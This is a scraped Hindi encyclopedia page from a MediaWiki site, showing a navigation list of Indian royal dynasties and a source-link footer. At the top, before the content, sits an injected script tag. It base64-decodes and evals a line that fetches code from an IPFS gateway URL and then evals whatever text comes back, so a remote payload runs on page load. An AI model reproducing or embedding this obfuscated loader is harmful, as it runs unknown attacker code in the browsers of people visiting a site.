<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
भारत के राजवंश
आदिलशाही वंश · ख़िलजी वंश · ग़ुलाम वंश · सातवाहन वंश · गंग वंश · तुग़लक़ वंश · निज़ामशाही वंश · बहमनी राजवंश · पाल वंश · नंद वंश · मौखरि वंश · मौर्य वंश · सूर वंश · इल्बारी वंश · चालुक्य वंश · वर्धन वंश · कुषाण वंश · गुप्त वंश · शुंग वंश · चौहान वंश · गहड़वाल वंश · गुर्जर प्रतिहार वंश · पल्लव वंश · राष्ट्रकूट वंश · भोई वंश · नागवंश · गजपति वंश · शिशुनाग वंश · प्रद्योत राजवंश · त्रैकुटकर वंश · होयसल वंश · मुग़ल वंश · लोदी वंश · सेन वंश · चेर वंश · पूर्वी गंग वंश · पश्चिमी गंग वंश · उत्तर गुप्त राजवंश · कदम्ब वंश · काकतीय वंश · शैलेन्द्र वंश · चोल वंश · परमार वंश · चेदि वंश · तुलुव वंश · देवगिरि का यादव वंश · शिलाहार वंश · कछवाहा वंश · फणिनागवंश · वाकाटक वंश · भारशिव वंश · कर्कोटक वंश · उत्पल वंश · सिंधिया वंश · होल्कर वंश · लोहार वंश · हाड़ा · वर्मन वंश · हिन्दू शाही वंश · सोलंकी वंश · क़ुतुबशाही वंश · कलचुरी वंश · चन्देल वंश · कण्व वंश · हर्यक वंश · सैयद वंश · पाण्ड्य राजवंश · कुन्ति · मैत्रक वंश · पुष्यभूति वंश · गुर्जर प्रतिहार वंश · संगम वंश · सालुव वंश · अरविडु वंश · फ़ारूक़ी वंश · शर्की वंश · पाल साम्राज्य · गायकवाड़ · बरीदशाही राजवंश · हैहय वंश · भोंसले वंश · सिसोदिया राजवंश · किलकिल · कर्नाट वंश · नूहानी वंश · ब्रहद्रथ वंश · अलकप्प के बुलि · खयरवाल राजवंश · महामेघवाहन वंश · खांट राजवंश


"https://bharatdiscovery.org/bharatkosh/w/index.php?title=गुप्तकालीन_धार्मिक_स्थिति&oldid=497951" से लिया गया
सर्वाधिकार सुरक्षित
Powered by MediaWiki
Powered by Semantic MediaWiki